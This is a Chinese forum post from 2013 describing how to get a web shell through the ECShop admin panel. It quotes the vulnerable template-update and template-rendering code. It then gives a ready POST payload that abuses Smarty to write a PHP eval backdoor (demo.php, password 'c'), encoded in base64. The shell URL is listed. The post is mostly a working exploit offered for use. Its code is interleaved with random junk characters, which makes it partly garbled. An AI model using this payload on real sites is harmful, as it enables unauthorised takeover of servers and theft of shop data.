找回密码
 立即注册
查看: 3237|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
- k, H& W. i* Y) H6 R; y
7 s8 B. r4 K% j5 |+ ]' C$ ?而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了, y- a7 D: |/ I" p# I* a
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
9 J6 ?# p1 p  \. N3 Fadmin/template.php) c) [8 p+ Y0 z
* [1 i6 z5 e$ u; o2 E
1 if ($_REQUEST['act'] == 'update_library')
4 [7 J1 f) `" `$ ]6 ]. C0 i" }
0 S" ?$ Z- L. s! N2 R2   
8 {4 B; R: t% ?1 Y9 Z
" r4 d% W+ Y. z) m' B2 K/ \3 { % D, d# {" X# @. |1 O
! F# h( r3 @) e9 j
4     check_authz_json('library_manage'); , j+ ~+ w8 `1 A0 K7 E
( t* A6 \) Y3 ~0 h& O6 v
5   
) T( h1 q+ y/ `. K2 d* _9 Z9 ~  q: W
6     $html = stripslashes(json_str_iconv($_POST['html']));
9 ~/ _) w7 \( g1 o7 r- u) F+ B6 d6 G) d# g. Y+ t( n
7   + n# _! L( W1 {
5 q. R% A( v! L9 D' u+ n* Q
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
- i. N, M4 [0 S  O1 `$ E6 h5 c2 Y* b6 ]' Q
9   9 O: ^- ^: m: v, D
6 s, b+ Y3 N) I) `
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ( T, _& G; }  ~3 X# L5 |

6 f  Z# S4 j$ t9 [  v11   ! v7 Q' u/ A8 ?5 P+ ?
- z  @: ?- h( P6 \" [
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
' ~& O: h# z  f. t6 M3 r; }3 T. k5 G6 R, q& i
13   
2 g. B( s/ E/ G7 E
. Q( s* ?5 h8 q/ q6 v9 e: x14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
# i- X) E5 M5 e/ }* L4 n2 w; ~* _
4 k. g' T5 z. l# i2 C! p) o4 ?5 [% {15     {
: o1 F( W2 x$ U& E2 O
0 T! o; m  s. G2 [) ^- h- Q0 B0 ^16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 6 H0 A: i5 C9 r2 l" h6 h

$ x) [$ d# N; ?6 f) ]8 p17         make_json_result('', $_LANG['update_lib_success']); , o* P9 \+ ~+ f3 ^" i9 K. d

: J/ N) g7 ~" J6 S7 B' s18     }
0 v; x) N4 I+ i; E  F
- s  Q4 ]4 N" P19     else
3 k+ p1 L% s: u: U" t; v: X3 K% c) y9 `9 g8 A- l# {
20     {
$ u3 X# `1 U& @, B) ~- k9 B8 w9 o. _
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 2 B- w- {" O9 P8 D/ k( Q. w  I, p, \

6 S1 C$ t% K' w* p; Y% ?22     }
" }8 L1 e7 ?/ B/ v1 P
$ b. n7 W5 n; Q: z23 }
" j# p' c, N2 u
, d# G9 \4 x* b/ Q那么找个比较方便调用了模板的文件
$ ^0 I; }9 ~0 A& k9 eindex.php
6 S8 M& o6 v4 Z& X
7 f4 }( Z- V4 |8 G9 ?1 if ($act == 'cat_rec') 7 J# u$ `4 i1 N2 K, C. i

6 |7 P: t9 p7 _3 v# l5 z3 l: j2   3 y3 N) J) o: [. i" L
7 E& o8 d6 ?3 I" t1 U# \) `8 F/ d$ B
3 {
) {1 r5 P# d4 `4 o; x+ U( g2 S% ~' X: C4 K" U. O5 K1 v
4   
$ A) Y4 j3 r0 i1 K
4 V4 b/ U! V8 `" m% D1 x5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
4 X2 B* t( J  x% C0 c* o/ N+ R, G1 F* L: m6 ]1 M
6   % v( Y6 {2 `( n% p

: k+ \) f. A2 |# e% Q7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 3 Q/ \; T& G/ \* K7 s* X

) {0 L; f7 Z4 P8   
5 r/ O9 {/ `0 i# U6 _" r
4 m6 g$ n/ ?- j% s9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 8 N  y* [$ m6 h: h1 J

- D9 ?- B3 v4 Z9 [$ w- }' I! H& y10   
8 N" h% E6 o1 f9 _+ k% T' l4 o6 k0 B/ B  l
11     include_once('includes/cls_json.php');
: T- V- K) p4 {. Y( r* k: M/ X
# O" J: i# I/ T, x12   
" w. z$ I0 @3 p. g  `) {# W' M( U
8 X7 A4 j4 n, u. r& O13     $json = new JSON;   w7 o4 v" {' S* E% u) x" n3 c1 h. x

% v0 [( O9 ]# V4 n" ~14   & m+ O) H1 W; D( j/ a! Q9 |
+ O6 c, X, m/ Y1 |6 f% U4 X
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
, [5 b( [7 i; J1 G1 j. a0 V; x8 s$ I; y8 R) E* P+ n
16   
! ]: q* V6 m; H0 p& _
; }3 I9 U' E2 v# L) ?0 u. i17     $children = get_children($cat_id);
7 }- L4 F, r- C- R/ p9 k+ K8 Y. |
, d! ~. m9 F% m- k18   + G, q% l8 O' c) d; n
7 R) ]: j; U0 d4 Z# n
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 8 p- G8 G% O. a- H; Z5 t2 }+ x
  C" O2 K( j4 G9 z6 s
20   $ N( n* `! ]: ?( \# I

" ]# T+ o+ x. ~7 n! k9 x21     $smarty->assign('cat_rec_sign', 1);
1 T3 n% Q) D0 ]1 H4 o; G* w" M0 w/ H# v3 N/ ^" }
22   4 D0 B3 K" y& ?# i1 |

" C" w" j+ w! d* b% [6 f& _5 x; G; G23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; [8 \) t0 `5 p- T# A1 M) Y' U3 t1 a* z! U) T6 h- ~. J3 _* e, x: k
24   
/ {% ]5 H9 I0 F- [7 m9 }2 }
8 `6 J; n. r: R' b( Y" u' ^6 L( n25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
/ l1 ?) j* r* ]7 e0 ?
5 z7 a# m1 V/ N" y, ^26   
' t# h  c. o9 c0 H3 v
' c: w; a7 B  s% A: w# D27         echo $rec_array[$rec_type];
# d) o% f- W+ p) H% g9 n& W6 e, X
28   * x( R$ r/ F, H& _. ^+ L3 {3 d/ k
& Q; \4 E) }: `- f" U7 x& s
29     die($json->encode($result)); 8 P, G: I* L* V3 @
, m. c, V) v$ x+ Y& f
30   . e8 m  {4 _5 _1 @: b- c( T. d$ \+ [

. n+ O$ s$ g3 c$ f; @$ E31 }
" I9 n! W% D) U( Z# d/ a
; }1 v& ^0 o. v" ^' \2 o# k. T那么就有利用方法了
: F6 I( Y& k+ Q* i, H. @3 opost包到http://localhost/ec/admin/template.php?act=update_library, {/ @. e( I2 N
Post内容:$ `( G( L, K9 F: l# Z
. t! \0 o! m9 K' g6 J

& x$ v# O4 \7 w; R1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}   k7 |7 p& C  E# q+ H: {

% F/ a' i6 F: e0 B* [+ z0 J( f5 q然后访问http://localhost/ec/index.php?act=cat_rec; y4 e1 a  v- w. Z+ n
8 I. D7 Q, {, o7 o
shel地址:http://localhost/ec/demo.php4 r$ w! Z# E0 r, x2 N6 U0 t
密码c
1 u( V1 s0 T$ T1 e' ~/ m, Z; [9 }) c4 a" @6 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表